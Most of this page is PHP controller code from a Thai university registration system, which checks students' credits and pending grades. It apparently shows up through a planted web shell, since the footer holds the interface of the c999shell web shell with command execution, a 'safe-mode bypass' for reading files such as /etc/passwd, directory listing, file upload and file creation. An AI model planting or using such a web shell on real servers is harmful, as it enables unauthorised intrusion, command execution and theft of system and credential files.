            if (
$qu_std->num_rows()) {
                
$this->contents['qu_std'] = $qu_std;

                
$this->cur->curId $qu_std->row()->stdCurId;
                
$this->contents['qu_cur'] = $this->cur->get_by_key();

                
$flagGD 1;
            }
        }

        
$this->contents['flagChkGr'] = $flagChkGr;
        
$this->contents['msg'] = $msg;
        
$this->contents['flagGPA'] = $flagGPA;
        
$this->contents['flagStY'] = $flagStY;
        
$this->contents['flagCrTt'] = $flagCrTt;
        
$this->contents['flagEE'] = $flagEE;
        
$this->contents['flagGD'] = $flagGD;

        
// view ส่วนโครงสร้างหลักสูตร
        
if ($qu_std->num_rows()) {
            
$row_std $qu_std->row();

            
$msgArr = array();
            
$this->checkCredit($row_std->stdId$msgArr);

            
$i 0;
            
$sumCreditTotal 0;
            
$sumCreditSatisfy 0;
            
$arr = array();
            
$con_rs_cs = array('csCurId'    => $row_std->stdCurId,
                
'csCdId2'    => 1
            
);
            
$rs_cs $this->cs->qryCs($con_rs_cs);
            foreach (
$rs_cs->result() as $row_cs1) {
                
$sumCreditTotal += $row_cs1->csCreditTotal;
                
$sumCreditSatisfy += substr($msgArr[$row_cs1->csCdId1], 0, -5);

                
$arr[$i]['level'] = 0;
                
$arr[$i]['qu_cs'] = $this->cs->qryCsJoinCd1($row_cs1->csCurId$row_cs1->csCdId1$row_cs1->csCdId2);
                
$arr[$i]['credit'] = substr($msgArr[$row_cs1->csCdId1], 0, -5);
                
$arr[$i]['status'] = (substr($msgArr[$row_cs1->csCdId1], -4) == 'PASS') ? 'ครบ' 'ไม่ครบ';

                
$i++;

                
$rs_cs $this->cs->qryCsByCurIdCdId1CdId2GT1($row_std->stdCurId$row_cs1->csCdId1);
                foreach (
$rs_cs->result() as $row_cs2) {
                    
$arr[$i]['level'] = 1;
                    
$arr[$i]['qu_cs'] = $this->cs->qryCsJoinCd2($row_cs2->csCurId$row_cs2->csCdId1$row_cs2->csCdId2);
                    
$arr[$i]['credit'] = substr($msgArr[$row_cs2->csCdId2], 0, -5);
                    
$arr[$i]['status'] = (substr($msgArr[$row_cs2->csCdId2], -4) == 'PASS') ? 'ครบ' 'ไม่ครบ';

                    
$i++;
                }    
// end foreach conditionId2
            
}    // end foreach conditionId1
            
$this->contents['rs'] = $arr;
            
$this->contents['sumCreditTotal'] = $sumCreditTotal;
            
$this->contents['sumCreditSatisfy'] = $sumCreditSatisfy;
        }

        if (
$std) {
            
$this->std_showExpectGD();
        } else {
            
$this->showExpectGD();
        }
    }

    function 
checkCredit($stdId, &$msg) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumstructure','cs');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');

        
$this->std->stdId $stdId;
        
$qu_std $this->std->get_by_key();
        
$row_std $qu_std->row();
        
        
$flag 1;
        
// Find conditionId1
        
$con_rs_cs = array('csCurId'    => $row_std->stdCurId,
            
'csCdId2'    => 1
        
);
        
$rs_cs $this->cs->qryCs($con_rs_cs);
        foreach (
$rs_cs->result() as $row_cs1) {
            
// Find conditionId2
            
$rs_cs $this->cs->qryCsByCurIdCdId1CdId2GT1($row_std->stdCurId$row_cs1->csCdId1);
            foreach (
$rs_cs->result() as $row_cs2) {
                
// Check credit of conditionId2
                
$sumCrAtCdId2 $this->rd->getSumCrAtByStdIdCdId1CdId2($stdId$row_cs1->csCdId1$row_cs2->csCdId2);
                if (
$sumCrAtCdId2 >= $row_cs2->csCreditTotal) {
                    
$msg[$row_cs2->csCdId2] = intval($sumCrAtCdId2).':PASS';
                } else {
                    
$msg[$row_cs2->csCdId2] = intval($sumCrAtCdId2).':FAIL';
                    
$flag 0;
                }
            }
            
            
// Check credit of conditionId1
            
$sumCrAtCdId $this->rd->getSumCrAtByStdIdCdId1($stdId$row_cs1->csCdId1);
            if (
$sumCrAtCdId >= $row_cs1->csCreditTotal) {
                
$msg[$row_cs1->csCdId1] = intval($sumCrAtCdId).':PASS';
            } else {
                
$msg[$row_cs1->csCdId1] = intval($sumCrAtCdId).':FAIL';
                
$flag 0;
            }
        }
        
        return 
$flag;
    }

    function 
checkGradeByStdId($stdId, &$msg) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');

        
$i 0;
        
$gradeStr "'I', 'E', 'P', 'X', ''";
        
$rs_rd $this->rd->qryRdByStdIdGrade($stdId$gradeStr);
        foreach (
$rs_rd->result() as $row_rd) {
            
$this->co->coId $row_rd->rdCoId;
            
$this->co->get_by_key(TRUE);

            
$this->crs->crsId $this->co->coCrsId;
            
$this->crs->get_by_key(TRUE);

            if (
$i == 0) {
                
$msg '<b>รายวิชาที่ยังไม่ได้ส่งเกรด :</b><br />';
            }
            
$msg .= $this->crs->crsCode.' '.$this->crs->crsName.' เกรด '.$row_rd->rdGrade.'<br />';
            
            
$i++;
        }
        
        if (
$i) {
            return 
0;
        } else {
            return 
1;
        }
    }

    function 
showDetailExpectGD() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');

        
$stdId $this->input->post('stdId');
        
$csCdId1 $this->input->post('csCdId1');
        
$csCdId2 $this->input->post('csCdId2');

        
$con_qu_std = array('stdId'    => $stdId);
        
$this->contents['qu_std'] = $this->std->qryPfCurSyTm($con_qu_std);

        
$con_rs_rd = array('rdStdId'    => $stdId,
                           
'rdCdId1'    => $csCdId1,
                           
'rdCdId2'    => $csCdId2);
        
$this->contents['rs_rd'] = $this->rd->qryRdJoinCoCrs($con_rs_rd,'','');
        
$this->output_detail($this->config->item("rg_folder")."v_showDetailExpectGD");
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0203 ]--